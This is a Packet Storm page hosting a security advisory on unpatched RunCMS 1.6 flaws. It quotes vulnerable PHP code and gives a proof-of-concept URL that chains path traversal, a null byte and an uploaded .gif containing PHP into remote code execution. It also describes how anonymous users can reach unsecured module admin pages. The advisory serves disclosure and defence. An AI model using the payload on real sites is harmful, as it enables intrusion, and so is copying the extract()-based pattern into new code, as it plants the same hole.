exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

runcms-lfi.txt

runcms-lfi.txt
Posted Nov 27, 2007
Authored by trueend5 | Site kapda.ir

RunCMS versions 1.6 and below suffer from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
SHA-256 | e9f4f4c230016cc5662e003256d23aff40d9a22b97bf4724acff1bb507d9afe6

runcms-lfi.txt

Change Mirror Download
########################## WwW.BugReport.ir ###########################################
#
# AmnPardaz Security Research & Penetration Testing Group
#
# Title: RunCms Multiple Vulnerabilities
# Vendor: http://www.runcms.org/
# Bugs: Local File Inclusion, Modules Authorization Weakness
# Vulnerable Version: RunCMS 1.6 Halloween, 1.5.x (prior versions also may be affected)
# Exploitation: Remote with browser
# Exploit: Available
# Fix Available: No!
#######################################################################################
# Leaders : Shahin Ramezany & Sorush Dalili
# Team Members: Alireza Hasani ,Amir Hossein Khonakdar, Hamid Farhadi
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact : admin@bugreport.ir
######################## Bug Description ###########################

Description:
--------------------
RunCMS is a comprehensive content management system (CMS) where ease of use,
speed, & flexibility are the main development key points.
RunCMS is a CMS coming from the cores of E-Xoops. E-Xoops 1.05r3 was the last version with the E-Xoops name.

Vulnerabilities:
--------------------
+-->Local File Inclusion (Remote Code Execution)

Code Snippet:

/include/common.php line#131-143

// ################# :: Register Globals Compatibility :: #################
$globals_test = @ini_get('register_globals');
if (isset($globals_test) && empty($globals_test))
{
// These still need some work :: Cookie|Server|Env are ok now.
if ( !empty($HTTP_GET_VARS) ) { extract($HTTP_GET_VARS, EXTR_SKIP); }
if ( !empty($HTTP_POST_VARS) ) { extract($HTTP_POST_VARS, EXTR_SKIP); }
define('_GLOBALS', FALSE);
}
else
{
define('_GLOBALS', TRUE);
}

/include/common.php line#276-280

// ################ Include page-specific lang file ##################
if (isset($xoopsOption['pagetype']))
{
rc_include_lang_file($xoopsOption['pagetype'].".php");
}

$xoopsOption['pagetype'] is not defined by default, so it's possible for an attacker to define
it by both $_GET or $_POST methods to conduct Local file inclusion!
Furthermore RunCms doesn't properly validate the content of user supplied Uploads!
Attacker could upload php codes with .gif extension and include it using above vulnerability!

POC: http://localhost/runcms_1.6/modules/news/?xoopsOption[pagetype]=../../images/avatar/users/[uid].gif%00

+-->Modules Authorization Weakness (Remote Code Execution)

There is a logical weakness in the Structure of Modules Authorization mechanism.
When a module is not installed by the site admin, anyone (groups of Anonymous Users) can access module’s admin area!
The most dangerous module in this case is newbb_plus which provide a form to overwrite disclaimer.php!
Form address example: http://localhost/runcms_1.6/modules/newbb_plus/admin/forum_config.php
Disclaimer address example: http://localhost/runcms_1.6/modules/newbb_plus/cache/disclaimer.php

Credit:
--------------------
Discovered by trueend5 (trueend5 yahoo com)
AmnPardaz Security Research & Penetration Testing Group
WwW.BugReport.ir
WwW.AmnPardaz.com
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close